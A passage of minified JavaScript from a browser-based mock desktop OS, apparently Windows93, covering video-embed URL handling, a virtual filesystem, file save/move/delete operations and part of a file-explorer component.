6613 "string" != typeof t && "number" != typeof t || (t = (t + "").replace(/\"/g, '\\"'), i += " --" + r + "=" + e(t))
6614 }), i
6615}
6616
6617function a(e, r) {
6618 $io.obj.all(t._get.embed, function(t) {
6619 if (t.playerRegExp.test(e)) return r.iframable = !0, e.replace(t.playerRegExp, function(i, r, o) {
6620 e = t.buildSrcURL(r, o)
6621 }), console.log(e), !0
6622 }), "true" === r.iframable || !0 === r.iframable ? i.call(this, l.iframe, {
6623 command: e,
6624 program: "iframe",
6625 arguments: [e],
6626 launcher: r,
6627 options: r
6628 }) : $alert.info('<a target="_blank" href="' + e + '">' + e + "</a><br>don't allow iframe embeding...")
6629}
6630
6631function s(t, e) {
6632 var i = [];
6633 return $io.obj.all(e, function(e, r) {
6634 -1 != t.indexOf(r) && i.push([r, e].join("="))
6635 }), i.length > 0 ? "?" + i.join("&") : ""
6636}
6637var l = t._apps;
6638r.parseURL = function(t, e, i) {
6639 var r = {
6640 title: t.replace(/https?:\/\/(www\.)?/, "").replace(/\/$/, ""),
6641 exe: t,
6642 icon: "shortcut.png"
6643 };
6644 return console.log(t, r), $url.checkFavicon(t, function(o, n) {
6645 o && (r.icon = n, (i || $noop)(r)), $ajax.post("/proxy.php", {
6646 url: t,
6647 favicon: !o
6648 }).done(function(t) {
6649 t.favicon ? $url.checkImage(t.favicon, function(i) {
6650 r.icon = t.favicon, r.iframable = t.iframable, e(r)
6651 }) : (r.iframable = t.iframable, e(r))
6652 })
6653 }), r
6654}, r.silent = function() {
6655 return r.apply({
6656 silent: !0
6657 }, arguments)
6658}, r.parseGeometry = function(t) {
6659 var e = {};
6660 return t.replace(/(?:(\d+|auto)x(\d+|auto))?(?:([+-])(\d+|auto)([+-])(\d+|auto))?/, function(t, i, r, o, n, a, s) {
6661 e.width = i || "auto", e.height = r || "auto", o ? (e.top = "+" === a ? s : "auto", e.bottom = "-" === a ? s : "auto", e.left = "+" === o ? n : "auto", e.right = "-" === o ? n : "auto") : (e.top = "auto", e.bottom = "auto", e.left = "auto", e.right = "auto")
6662 }), e
6663};
6664r.parse = o, r.stringify = n, window.$exe = r, t._get.embed = {
6665 youtube: {
6666 type: "youtube",
6667 settings: {
6668 autoplay: 0,
6669 controls: 1,
6670 loop: 0
6671 },
6672 whitelist: ["autohide", "cc_load_policy", "color", "disablekb", "enablejsapi", "autoplay", "controls", "loop", "playlist", "rel", "wmode", "start", "showinfo", "end", "fs", "hl", "iv_load_policy", "list", "listType", "modestbranding", "origin", "playerapiid", "playsinline", "theme"],
6673 transformAttrMap: {},
6674 processSettings: function(t, e) {
6675 return 1 == t.loop && void 0 == t.playlist && (t.playlist = e), t
6676 },
6677 buildSrcURL: function(t, e) {
6678 return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6679 },
6680 playerID: "www.youtube.com/embed/",
6681 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?(?:youtube(?:-nocookie)?\.com\/(?:[^\/\n\s]+\/\S+\/|(?:v|e(?:mbed)?)\/|\S*?[?&]v=)|youtu\.be\/)([a-zA-Z0-9_-]{11})/,
6682 timeRegExp: /t=(([0-9]+)h)?(([0-9]{1,2})m)?(([0-9]+)s?)?/,
6683 isAdditionaResRequired: function() {
6684 return !1
6685 },
6686 additionalRes: []
6687 },
6688 vimeo: {
6689 type: "vimeo",
6690 settings: {
6691 autoplay: 0,
6692 loop: 0,
6693 api: 0,
6694 player_id: ""
6695 },
6696 whitelist: ["autoplay", "autopause", "badge", "byline", "color", "portrait", "loop", "api", "playerId", "title"],
6697 transformAttrMap: {
6698 playerId: "player_id"
6699 },
6700 processSettings: function(t, e) {
6701 return t
6702 },
6703 buildSrcURL: function(t, e) {
6704 return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6705 },
6706 playerID: "player.vimeo.com/video/",
6707 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?vimeo\.com\/(?:channels\/[A-Za-z0-9]+\/)?([A-Za-z0-9]+)/,
6708 timeRegExp: "",
6709 isAdditionaResRequired: function() {
6710 return !1
6711 },
6712 additionalRes: []
6713 },
6714 dailymotion: {
6715 type: "dailymotion",
6716 settings: {
6717 autoPlay: 0,
6718 logo: 0
6719 },
6720 whitelist: ["api", "autoPlay", "background", "chromeless", "controls", "foreground", "highlight", "html", "id", "info", "logo", "network", "quality", "related", "startscreen", "webkit-playsinline", "syndication"],
6721 transformAttrMap: {},
6722 processSettings: function(t, e) {
6723 return t
6724 },
6725 buildSrcURL: function(t, e) {
6726 return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6727 },
6728 playerID: "www.dailymotion.com/embed/video/",
6729 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?www\.dailymotion\.com\/video\/([A-Za-z0-9]+)/,
6730 timeRegExp: /start=([0-9]+)/,
6731 isAdditionaResRequired: function() {
6732 return !1
6733 },
6734 additionalRes: []
6735 },
6736 youku: {
6737 type: "youku",
6738 settings: {},
6739 whitelist: [],
6740 transformAttrMap: {},
6741 processSettings: function(t, e) {
6742 return t
6743 },
6744 buildSrcURL: function(t, e) {
6745 return t + this.playerID + e + s(this.whitelist, this.processSettings(this.settings))
6746 },
6747 playerID: "player.youku.com/embed/",
6748 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?youku\.com\/v_show\/id_([A-Za-z0-9]+).html/,
6749 timeRegExp: "",
6750 isAdditionaResRequired: function() {
6751 return !1
6752 },
6753 additionalRes: []
6754 },
6755 vine: {
6756 type: "youku",
6757 settings: {
6758 audio: 0,
6759 start: 0,
6760 type: "simple"
6761 },
6762 whitelist: ["audio", "start", "type"],
6763 transformAttrMap: {},
6764 processSettings: function(t, e) {
6765 return delete t.type, t
6766 },
6767 buildSrcURL: function(t, e) {
6768 var i = this.settings.type;
6769 return t + this.playerID + e + /embed/ + i + s(this.whitelist, this.processSettings(this.settings))
6770 },
6771 playerID: "vine.co/v/",
6772 playerRegExp: /([a-z\:\/]*\/\/)(?:www\.)?vine\.co\/v\/([A-Za-z0-9]+)/,
6773 timeRegExp: "",
6774 isAdditionaResRequired: function() {
6775 return !window.VINE_EMBEDS
6776 },
6777 additionalRes: [{
6778 element: '<script src="//platform.vine.co/static/scripts/embed.js"><\/script>'
6779 }]
6780 }
6781}
6782});
6783//os/sys/fs.js
6784! function(e) {
6785"use strict";
6786
6787function t(e, t) {
6788 return le._get.ext.mime[t || e] || null
6789}
6790
6791function i(e, t, i) {
6792 function n(e, t) {
6793 l || $io.obj.each(s[e], function(i, n) {
6794 n.replace(/(.+)\./, function(i, s) {
6795 $io.arr.all(s.split("_"), function(i) {
6796 t === i && (l = "/c/sys/skins/" + le._settings.skin + "/" + e + "/" + n)
6797 })
6798 })
6799 })
6800 }
6801 var s = le._files.c.sys.skins[le._settings.skin || "w93"];
6802 s || (s = le._files.c.sys.skins.w93);
6803 var l;
6804 return function(e) {
6805 var i = (e || "").split("/");
6806 n("ext", t), n("type", i[1]), n("mime", i[0])
6807 }(i), l || (l = "/c/sys/skins/" + le._settings.skin + "/file.png"), l
6808}
6809
6810function n(e) {
6811 return "/" === e ? "/c/sys/skins/" + le._settings.skin + "/devices/computer.png" : "/a/" === e ? "/c/sys/skins/" + le._settings.skin + "/devices/drive-storage.gif" : "/c/" === e ? "/c/sys/skins/" + le._settings.skin + "/devices/drive-harddisk.gif" : s.utils.resolvePath(e) === le._path.home ? "/c/sys/skins/" + le._settings.skin + "/places/user-home.png" : "/c/sys/skins/" + le._settings.skin + "/places/folder.png"
6812}
6813var s = {};
6814s.utils = {}, s.utils.find = function(e, t) {
6815 return $io.find(e, t, le._files, "/", [".", ".."])
6816}, s.utils.resolvePath = function(e) {
6817 return e = e.replace(/^~|\$HOME/g, le._path.home), e = e.replace(/~|\$HOME/g, le._path.home.replace(/^\//, "")), e = e.replace(/\$SKIN/g, le._path.skin), e = e.replace(/\/\//g, "/")
6818}, s.utils.getMenuOpenWith = function(e) {
6819 e || (e = []), "string" == typeof e && (e = [e]);
6820 var t = [],
6821 i = [];
6822 return $io.arr.all(e, function(n) {
6823 1 === n.nodeType && (n = n.getAttribute("data-path"));
6824 var l = s.utils.getOpeners(n);
6825 (l = l.concat("hexed", "code", "iframe")) && $io.arr.all(l, function(n) {
6826 if (-1 === i.indexOf(n)) {
6827 i.push(n);
6828 var l = le._apps[n].icon ? s.utils.normalizeIcon(le._apps[n].icon) : "/c/sys/skins/" + le._settings.skin + "/programs.png";
6829 t.push({
6830 name: le._apps[n].name || $io.str.capitalise(n),
6831 icon: l,
6832 action: function(t) {
6833 $io.arr.all(e, function(e) {
6834 1 === e.nodeType && (e = e.getAttribute("data-path")), setTimeout(function() {
6835 $exe(n + ' "' + e + '"')
6836 }, 0)
6837 })
6838 }
6839 })
6840 }
6841 })
6842 }), t.length ? t : [{
6843 name: "No programs found...",
6844 disabled: !0
6845 }]
6846}, s.utils.getFileMenu = function(e, t, i) {
6847 "function" == typeof t && (i = t, t = !1);
6848 var n = $io.obj.getPath(le._files, e, "/"),
6849 s = [],
6850 l = {};
6851 return $io.obj.all(n, function(e, n) {
6852 if ("." !== n && ".." !== n) {
6853 var r = [];
6854 l[n] = [], $io.obj.all(e, function(e, s) {
6855 "." !== s && ".." !== s && (l[n].push(s), r.push({
6856 name: s,
6857 radio: t,
6858 folder: n,
6859 action: i
6860 }))
6861 }), l[n] = l[n].sort(function(e, t) {
6862 return e.localeCompare(t)
6863 }), r = r.sort(function(e, t) {
6864 return e.name.localeCompare(t.name)
6865 }), s.push({
6866 name: n,
6867 items: r
6868 })
6869 }
6870 }), s = s.sort(function(e, t) {
6871 return e.name.localeCompare(t.name)
6872 }), {
6873 path: e,
6874 foldersList: Object.keys(l),
6875 folders: l,
6876 menu: s
6877 }
6878}, s.utils.replaceExt = function(e, t) {
6879 return s.utils.getExt(e) ? e.replace(/\.[0-9a-z]+$/, t ? "." + t : "") : e + (t ? "." + t : "")
6880}, s.utils.isFolder = function(e) {
6881 return "/" === e.slice(-1)
6882}, s.utils.isFolderEmpty = function(e, t) {
6883 var i = !0;
6884 $file.iterateFolder(e, function(e) {
6885 s.utils.isFolder(e) || (i = !1)
6886 }).done(function() {
6887 t(i)
6888 })
6889}, s.utils.isShortcut = function(e) {
6890 return /\.lnk42$/.test(e)
6891}, s.utils.isDownloadable = function(e) {
6892 if (e) {
6893 var t = e.dataset.url || e.href;
6894 return !(t && "/" !== t.slice(-1))
6895 }
6896 var i = !1;
6897 return $file.eachSelection(function(e, t) {
6898 var n = t.dataset.url || t.href;
6899 if (!n || "/" === n.slice(-1)) return i = !1;
6900 i = !0
6901 }), i
6902}, s.utils.getName = function(e) {
6903 var t = ("string" == typeof e ? e : "").split("/");
6904 return "/" === e.slice(-1) ? t[t.length - 2] : t.pop()
6905}, s.utils.getFileName = function(e) {
6906 return ("string" == typeof e ? e : "").split("/").pop()
6907}, s.utils.getFolderName = function(e) {
6908 var t = ("string" == typeof e ? e : "").split("/");
6909 return "/" === e.slice(-1) ? t[t.length - 2] : ""
6910}, s.utils.getFolderPath = function(e) {
6911 var t = ("string" == typeof e ? e : "").split("/").slice(0, -1).join("/");
6912 return t + "/"
6913}, s.utils.getExt = function(e) {
6914 var t = (e || "").match(/(?:\.)([0-9a-z]+)(?:[!?].+)?$/i);
6915 return t && t[1] ? t[1].toLowerCase() : ""
6916}, s.utils.getMime = function(e) {
6917 return t(e, s.utils.getExt(e))
6918}, s.utils.getIcon = function(e) {
6919 if (s.utils.isFolder(e)) return n(e);
6920 var l = s.utils.getExt(e),
6921 r = t(e, l);
6922 return i(e, l, r)
6923}, s.utils.normalizeIcon = function(e) {
6924 return 0 === e.indexOf("/") || 0 === e.indexOf("http") ? e : "/c/sys/skins/" + le._settings.skin + "/" + e
6925}, s.utils.getInfo = function(e) {
6926 if (s.utils.isFolder(e)) {
6927 var l = n(e),
6928 r = "";
6929 return "/a/" === e ? r = "Storage (A:)" : "/c/" === e && (r = "System (C:)"), {
6930 icon: l,
6931 name: r
6932 }
6933 }
6934 var o = s.utils.getExt(e),
6935 u = t(e, o);
6936 return {
6937 ext: o,
6938 mime: u,
6939 icon: l = i(e, o, u),
6940 name: r = s.utils.getName(e)
6941 }
6942}, s.utils.getOpeners = function(e) {
6943 var i = s.utils.getExt(e),
6944 n = t(e, i),
6945 l = [];
6946 return le._settings.defaultApp[i] && (l = l.concat(le._settings.defaultApp[i])), le._get.ext.apps[i] && (l = l.concat(le._get.ext.apps[i])), n && $io.arr.all(le._get.mime.apps, function(e) {
6947 e[0].test(n) && (l ? -1 == l.indexOf(e[1]) && l.push(e[1]) : l = [e[1]])
6948 }), l
6949}, s.utils.parseAccept = function(e) {
6950 var t = [],
6951 i = {};
6952 return $io.arr.all(e.split(","), function(e) {
6953 0 === e.indexOf(".") ? (i.ext || (i.ext = []), i.ext.push(e.replace(/^\./, ""))) : t.push($io.reg.escape(e.replace("*", "_4_²_")))
6954 }), t.length && (i.mimetype = new RegExp(t.join("|").replace(/_4_²_/g, ".*"))), i
6955}, s.utils.getPathObj = function(e, t) {
6956 e || (e = le._path.home), (e = s.utils.resolvePath(e)).length > 1 && "/" === e.slice(-1) && (e = e.slice(0, -1)), "/" !== (t = t || "").slice(-1) && (t += "/"), e = 0 === e.indexOf("/") ? e : t + e;
6957 var i = $io.obj.getPath(le._files, e, "/");
6958 if (void 0 !== i && "number" != typeof i) {
6959 var n = "/" + $file.getTruePath(i);
6960 return n.length > 1 && "/" === n.slice(-1) && (n = n.slice(0, -1)), {
6961 cwd: n,
6962 obj: i
6963 }
6964 }
6965}, s.utils.exist = function(e, t) {
6966 e || (e = le._path.home), (e = s.utils.resolvePath(e)).length > 1 && "/" === e.slice(-1) && (e = e.slice(0, -1)), "/" !== (t = t || "").slice(-1) && (t += "/"), e = 0 === e.indexOf("/") ? e : t + e;
6967 var i = $io.obj.getPath(le._files, e, "/");
6968 return void 0 !== i && i
6969}, s.utils.getFolderObj = function(e, t) {
6970 var i = s.utils.getFolderPath(e);
6971 return s.utils.getPathObj(i, t)
6972}, s.utils.iteratePath = function(e, t) {
6973 var i = s.utils.getPathObj(e, t),
6974 n = [],
6975 l = [],
6976 r = [];
6977 if (i) return $io.obj.all(i.obj, function(e, t) {
6978 "." !== t && ".." !== t && (s.utils.isShortcut(t) ? r.push(t) : "object" == typeof e ? n.push(t) : l.push(t))
6979 }), {
6980 tree: i,
6981 obj: i.obj,
6982 cwd: i.cwd,
6983 dirs: n,
6984 files: l,
6985 lnks: r
6986 }
6987}, e.$fs = s
6988}(this);
6989//os/sys/file.js
6990! function(e) {
6991"use strict";
6992window.URL || (window.URL = window.webkitURL);
6993var t = {};
6994t.getUrl = function(e, n, o) {
6995 o || (o = $fs.utils.getInfo(e)), 0 === (e + "").indexOf("/a/") ? t.open(e, "Blob", function(e) {
6996 var t = window.URL.createObjectURL(e);
6997 (n || $noop)(t)
6998 }, o.mime) : (0 === (e + "").indexOf("c/") && (e = "/" + e), (n || $noop)(e))
6999}, e.$file = t, system42(function(e) {
7000 function n(e, t, n, o) {
7001 var i = e;
7002 0 === e.indexOf("/a/") ? (i = e.replace(/^\/a\//, ""), $store.keys().indexOf(i) > -1 ? (t || $noop)(i) : (n || $noop)(i)) : ($notif("You don't have write permission on this drive", e), (o || $noop)())
7003 }
7004
7005 function o(e, t) {
7006 $db.keys(function(n, o) {
7007 var i = !0;
7008 $io.arr.all(o.concat($store.keys()), function(t) {
7009 0 === t.indexOf(e) && (i = !1)
7010 }), i ? $db.set(e, null, t) : t(null)
7011 })
7012 }
7013
7014 function i(e) {
7015 var t = "",
7016 n = "",
7017 o = e.replace(/(\.lnk42)$/, function(e, n) {
7018 return n && (t = ".lnk42"), ""
7019 }).replace(/(?:.+)(\.[0-9a-z]+)$/i, function(e, t) {
7020 return t && (n = t), ""
7021 });
7022 return function(e) {
7023 return o + " (" + e + ")" + n + t
7024 }
7025 }
7026
7027 function r(e, t, n, o) {
7028 var i = $store.getRaw(e);
7029 $store.set(t, i), n || $store.del(e), o()
7030 }
7031
7032 function a(e, t, n, o) {
7033 $db.getRaw(e, function(i, r) {
7034 $db.set(t, r, function() {
7035 n ? o() : $db.del(e, o)
7036 })
7037 })
7038 }
7039 t.open = function(e, t, n) {
7040 function o(e) {
7041 n.call(r, e, a)
7042 }
7043 if ("string" != typeof e) throw new Error("$file.open : no path specified");
7044 var i = e,
7045 r = $fs.utils.getInfo(e);
7046 "function" != typeof t || n || (n = t, t = "String");
7047 var a = "String";
7048 if (0 === e.indexOf("/a/"))
7049 if (i = e.replace(/^\/a\//, ""), $store.keys().indexOf(i) > -1) {
7050 var s;
7051 "Blob" === t && (s = $fs.utils.getMime(i)), $io.String[t]($store.getRaw(i), o, s || "text/plain")
7052 } else $db.getRaw(i, function(e, n) {
7053 a = $io.type(n), $io[a][t](n, o, r.mime)
7054 });
7055 else $ajax.get(e, {
7056 arraybuffer: "String" !== t
7057 }).done(function(e, i, s, l) {
7058 var f = s.getResponseHeader("content-type") || "",
7059 u = l ? "application/json" : f.split(";").shift();
7060 "String" === t ? (a = "String", n.call(r, s.responseText, t)) : (a = "ArrayBuffer", $io.ArrayBuffer[t](s.response, o, u))
7061 }).fail(function() {
7062 console.log(arguments), $alert.error("Can't load file")
7063 })
7064 }, t.iterateFolder = function(e, t) {
7065 var n;
7066 if (0 === e.indexOf("/a/")) {
7067 var o = e.replace(/^\/a\//, "");
7068 $io.arr.all($store.keys(), function(e) {
7069 0 === e.indexOf(o) && t(e, "store", o)
7070 }), $db.keys(function(e, i) {
7071 $io.arr.all(i, function(e) {
7072 0 === e.indexOf(o) && t(e, "db", o)
7073 }), "function" == typeof n && n()
7074 })
7075 } else $io.arr.all($fs.utils.find("/.*/", e), function(n) {
7076 t(n, "server", e)
7077 }), setTimeout(n, 1);
7078 return {
7079 done: function(e) {
7080 n = e
7081 }
7082 }
7083 }, t.delete = function(e, t) {
7084 function n() {
7085 t && t(e)
7086 }
7087 "/a/system32.dll" === e && $exe("vega");
7088 var i = $fs.utils.isFolder(e);
7089 if (0 === e.indexOf("/a/")) {
7090 var r = e.replace(/^\/a\//, "");
7091 if (i) $io.arr.all($store.keys(), function(e) {
7092 0 === e.indexOf(r) && $store.del(e)
7093 }), $db.keys(function(e, t) {
7094 var o = [];
7095 $io.arr.all(t, function(e) {
7096 0 === e.indexOf(r) && o.push(e)
7097 }), o.length ? $io.arr.each(o, function(e, t) {
7098 t === o.length - 1 ? $db.del(e, n) : $db.del(e)
7099 }) : n()
7100 });
7101 else {
7102 var a = $fs.utils.getFolderPath(r);
7103 $store.del(r), $db.del(r, function(e) {
7104 o(a, n)
7105 })
7106 }
7107 } else $notif("You don't have write permission on this drive", e)
7108 }, t.copy = function(e, n, o) {
7109 var r = $fs.utils.getFolderObj(n),
7110 a = $fs.utils.getName(e),
7111 s = $fs.utils.isFolder(e),
7112 l = a;
7113 if (r && r.obj)
7114 if (void 0 === r.obj[a]) l = a;
7115 else
7116 for (var f = i(a), u = 1; void 0 !== r.obj[l];) l = f(u++);
7117 t.move(e, n + l + (s ? "/" : ""), function(e) {
7118 o(e)
7119 }, !0)
7120 }, t.rename = function(e, n, o) {
7121 if ($fs.utils.isFolder(e)) {
7122 var i = e.split("/").slice(0, -2);
7123 i.push(n);
7124 r = i.join("/") + "/"
7125 } else var r = $fs.utils.getFolderPath(e) + n;
7126 t.move(e, r, o)
7127 }, t.move = function(e, i, s, l) {
7128 var f = $fs.utils.isFolder(e);
7129 $fs.utils.isFolderEmpty(e, function(u) {
7130 function c() {
7131 var e = $fs.utils.getFolderPath($);
7132 f ? s && s("/a/" + i) : o(e, function() {
7133 s && s("/a/" + i)
7134 })
7135 }
7136
7137 function d(e, t, n, o, i) {
7138 if (e === t) i();
7139 else if ($fs.utils.exist("/a/" + t)) {
7140 var r = $state.isLoading();
7141 r && $state.loaded(), $confirm(t + " already exist ! Overwrite ?", function(a) {
7142 r && $state.loading(), a ? o(e, t, n, i) : i()
7143 })
7144 } else o(e, t, n, i)
7145 }
7146 var $ = e.replace(/^\/a\//, "");
7147 if (i = i.replace(/^\/a\//, ""), f && !u) {
7148 var p = [];
7149 t.iterateFolder(e, function(e) {
7150 p.push(e)
7151 }).done(function() {
7152 $io.arr.each(p, function(n, o) {
7153 o === p.length - 1 ? t.move("/a/" + n, "/a/" + n.replace($, i), function() {
7154 l ? c() : t.delete(e, c)
7155 }, l) : t.move("/a/" + n, "/a/" + n.replace($, i), null, l)
7156 })
7157 })
7158 } else n(e, function(e) {
7159 d(e, i, l, r, c)
7160 }, function(e) {
7161 d(e, i, l, a, c)
7162 })
7163 })
7164 }, t.save = function(t, o, i) {
7165 function r(n) {
7166 $notif("File saved", t);
7167 var o = n || $fs.utils.getFileName(t);
7168 $fs.utils.getFolderPath(t) !== e._path.desktop || e._desktop[o] || $explorer.utils.saveIconPos(t, 1, o), e._events.trigger("change:" + t), $explorer.refresh(), i && i(o), $state.loaded()
7169 }
7170
7171 function a(e) {
7172 $io.File.Blob(e, function(n) {
7173 $db.set((t || "").replace(/^\/a\//, "") + e.name, n, function() {
7174 r(e.name)
7175 })
7176 }, e.type)
7177 }
7178 $state.loading();
7179 var s = $io.type(o);
7180 "FileList" === s ? $io.arr.all(o, function(e) {
7181 a(e)
7182 }) : "File" === s ? a(o) : n(t, function(e) {
7183 if ("Blob" === $io.type(o)) $io.Blob.String(o, function(t) {
7184 $store.set(e, t), r()
7185 });
7186 else if (t.endsWith(".json")) try {
7187 o = JSON.parse(o), $store.set(e, o), r()
7188 } catch (e) {
7189 $notif("Can't save changes", t + "<br>" + e)
7190 } else $store.set(e, o), r()
7191 }, function(e) {
7192 $db.set(e, o, r)
7193 }, function() {
7194 $state.loaded()
7195 })
7196 }, t.download = function(e, n) {
7197 if (!e) throw new Error("No path specified");
7198 n || (n = "string" == typeof e ? e.split("/").pop() : "derp"), "Blob" == $io.type(e) ? window.saveAs(e, n) : 0 === e.indexOf("/a/") ? t.open(e, "Blob", function(e) {
7199 window.saveAs(e, n)
7200 }) : function(e, t) {
7201 var n = document.createElement("a");
7202 "download" in n ? (n.setAttribute("href", e), n.setAttribute("download", t), $el(n).trigger("click")) : window.open(e, "_blank", "")
7203 }(e, n)
7204 };
7205 var s = document.createElement("input");
7206 s.type = "file", t.upload = function(e, t) {
7207 t = t || {}, s.accept = t.accept || "*", s.multiple = t.multiple || !1, s.onchange = function(t) {
7208 var n = this;
7209 setTimeout(function() {
7210 e(n.files), s.onchange = null
7211 }, 0)
7212 }, s.click()
7213 }, t.ondrop = function(e, t, n) {
7214 function o(e) {
7215 e.preventDefault(), s++, this.classList.add("ui_dropzone--droppable")
7216 }
7217
7218 function i(e) {
7219 return !1
7220 }
7221
7222 function r(e) {
7223 e.preventDefault(), 0 === --s && this.classList.remove("ui_dropzone--droppable")
7224 }
7225
7226 function a() {
7227 this.classList.remove("ui_dropzone--droppable"), $el(e).off("click", t, a)
7228 }
7229 var s = 0;
7230 $el(e).on("dragenter", t, o).on("dragover", t, i).on("dragleave", t, r).on("click", t, a).on("drop", t, function(e) {
7231 return e.preventDefault(), this.classList.remove("ui_dropzone--droppable"), n.apply(this, arguments), !1
7232 }, !0)
7233 }, t.setDotFolders = function(e) {
7234 $io.obj.each(e, function(n, o) {
7235 "number" == typeof n || ".." === o || "." === o || $fs.utils.isShortcut(o) || (Object.defineProperties(n, {
7236 "..": {
7237 enumerable: !1,
7238 value: e
7239 },
7240 ".": {
7241 enumerable: !1,
7242 value: n
7243 }
7244 }), t.setDotFolders(n))
7245 })
7246 }, t.getTruePath = function(e, n) {
7247 if ("string" != typeof n && (n = ""), e[".."]) {
7248 for (var o in e[".."])
7249 if (e[".."].hasOwnProperty(o) && e[".."][o] === e) return n = o + "/" + n, t.getTruePath(e[".."], n);
7250 return n
7251 }
7252 return n
7253 };
7254 t.scan = function(n, o) {
7255 0 === n.indexOf("/a/") ? $db.keys(function(i, r) {
7256 var a = {};
7257 "localStorageWrapper" != $db.store._driver && (r = r.concat($store.keys())), $io.arr.all(r, function(e, t) {
7258 $fs.utils.isFolder(e) ? $io.obj.path.call("/", a, e, {}) : $io.obj.path.call("/", a, e, 0)
7259 }), e._files.a = a, t.setDotFolders(e._files), o && o($io.obj.getPath(e._files, n, "/"))
7260 }) : o && o($io.obj.getPath(e._files, n, "/"))
7261 }, t.format = function(e) {
7262 $store.clear(), $db.clear(function() {
7263 "function" == typeof e && e()
7264 })
7265 }, window.$file = t
7266})
7267}(this);
7268//os/sys/explorer.js
7269system42("explorer", function(e) {
7270"use strict";
7271
7272function t(i, o, r) {
7273 function a(t) {
7274 function i(e) {
7275 var t = new Image;
7276 return t.width = 32, t.height = 32, t.src = $fs.utils.normalizeIcon(e), t
7277 }
7278 t || (t = k), k = t, w.save && v();
7279 var o, r = [],
7280 a = [],
7281 l = [],
7282 s = $fs.utils.iteratePath(t);
7283 if ("object" != typeof s) return !1;
7284 o = s.obj, t = "/" !== s.cwd ? s.cwd + "/" : s.cwd, r = s.dirs, a = s.files, l = s.lnks, 0 === t.indexOf("/a/") ? (L.classList.add("ui_explorer--local"), L.classList.remove("ui_explorer--not_local")) : (L.classList.add("ui_explorer--not_local"), L.classList.remove("ui_explorer--local")), a.sort(function(e, t) {
7285 return N(e, t)
7286 }), r.sort(function(e, t) {
7287 return N(e, t)
7288 }), l.sort(function(t, n) {
7289 if (0 !== p) return N(t, n);
7290 if (e._desktop && e._desktop[t] && e._desktop[n]) {
7291 var i = e._desktop[t],
7292 o = e._desktop[n];
7293 if (i && o) return i.time > o.time ? 1 : -1
7294 }
7295 });
7296 var c = document.createDocumentFragment(),
7297 u = document.createElement("div"),
7298 d = document.createElement("div"),
7299 f = document.createElement("span");
7300 u.setAttribute("tabindex", "0"), d.className = "ico";
7301 var m = !1;
7302 for ($io.arr.all(r, function(e) {
7303 var n = u.cloneNode(!1),
7304 o = f.cloneNode(!1);
7305 n.setAttribute("data-exe", t + e + "/"), n.setAttribute("data-path", t + e + "/"), n.setAttribute("data-name", e), n.className = "ui_icon ui_icon__folder";
7306 var r = $fs.utils.getInfo(t + e + "/");
7307 n.appendChild(i(r.icon)), o.textContent = r.name || e, n.appendChild(o), c.appendChild(n)
7308 }), $io.arr.all(a, function(e) {
7309 var n = u.cloneNode(!1),
7310 o = f.cloneNode(!1),
7311 r = $fs.utils.getInfo(e);
7312 r.exe = t + e, r.path = t + e, r.title = e, /\/c\/files\/images\/icons\/|\/c\/sys\/skins\//.test(t) && /^image\//.test(r.mime) && (m = !0), $io.obj.all(r, function(e, t) {
7313 n.setAttribute("data-" + t, e)
7314 }), n.setAttribute("data-name", e), o.textContent = e, n.className = "ui_icon ui_icon__file", n.appendChild(i(m ? t + e : r.icon)), n.appendChild(o), c.appendChild(n)
7315 }), $io.arr.all(l, function(n) {
7316 var r = n.replace(/\.lnk42$/, ""),
7317 a = u.cloneNode(!1),
7318 l = f.cloneNode(!1),
7319 s = $fs.utils.getInfo(r),
7320 d = $store.get((t + n).replace(/^\/a\//, ""));
7321 if ($extend(s, o[n], d), s) {
7322 s.path = t + n, s.title = s.title || r, s.name = n;
7323 var p = s.exe ? s.exe.match(/(.[^ ]*)/)[0] : null;
7324 (!s.icon || /file\.png$/.test(s.icon)) && p && e._apps[p] && e._apps[p].icon && (s.icon = e._apps[p].icon), s.icon && !/file\.png$/.test(s.icon) || !$fs.utils.isFolder(s.exe) || (s.icon = $fs.utils.getIcon(s.exe)), $io.obj.all(s, function(e, t) {
7325 a.setAttribute("data-" + t, e)
7326 }), l.textContent = s.title, a.className = "ui_icon ui_icon__file ui_icon__lnk42", a.appendChild(i(s.icon)), a.appendChild(l), c.appendChild(a)
7327 }
7328 }); L.firstChild;) L.removeChild(L.firstChild);
7329 L.appendChild(c), L.appendChild(A), (w.mimetype || w.ext) && $io.arr.all(L.querySelectorAll(".ui_icon__file"), function(e) {
7330 var t = !1;
7331 w.mimetype && w.mimetype.test(e.dataset.mime) && (t = !0), $io.arr.all(w.ext, function(n) {
7332 $fs.utils.getExt(e.dataset.title) === n && (t = !0)
7333 }), t || e.classList.add("ui_disabled")
7334 }), K && K.menu && K.menu.refresh(), w.silent || w.browse || $route(k), C && !w.save && h(C), K && K.changeTitle && K.changeIcon && (K.changeTitle($fs.utils.getFolderName(t) || "/"), K.changeIcon($fs.utils.getIcon(t))), n.call(j, w.viewType), w.onready.call(j, L), k = I.value = t
7335 }
7336
7337 function l() {
7338 var e = I.value,
7339 t = e.slice(0, -1).split("/");
7340 return t.pop(), e = t.join("/"), a(e ? e + "/" : "/")
7341 }
7342
7343 function s() {
7344 a(i = I.value)
7345 }
7346
7347 function c() {
7348 a(i = e._path.home)
7349 }
7350
7351 function u(e) {
7352 "number" != typeof(e = e || window.event).which && (e.which = e.keyCode), 13 == e.which && s()
7353 }
7354
7355 function d() {
7356 W.onchange = W.onkeyup = function(e) {
7357 v(), q(this.value), 13 === e.keyCode && K && K.close && K.close(!0)
7358 }, W.onfocus = function() {
7359 setTimeout(function() {
7360 t.utils.inputSelectFileName(W)
7361 }, 100)
7362 }, M.onchange = M.onkeyup = function(e) {
7363 _()
7364 }, g(C), x(C)
7365 }
7366
7367 function h(n) {
7368 setTimeout(function() {
7369 t.selection.remove();
7370 var i = L.querySelector('div[data-name="' + n + '"]');
7371 i && (e._selected = [i], i.classList.add("ui_selected"))
7372 }, 100)
7373 }
7374
7375 function v() {
7376 if (D && W) {
7377 var e = k + W.value;
7378 D.value = e, h(W.value)
7379 }
7380 }
7381
7382 function _() {
7383 if (M.value && "*" !== M.value) {
7384 var e = M.options[M.selectedIndex].dataset.ext;
7385 W.value = $fs.utils.replaceExt(W.value, e)
7386 }
7387 v()
7388 }
7389
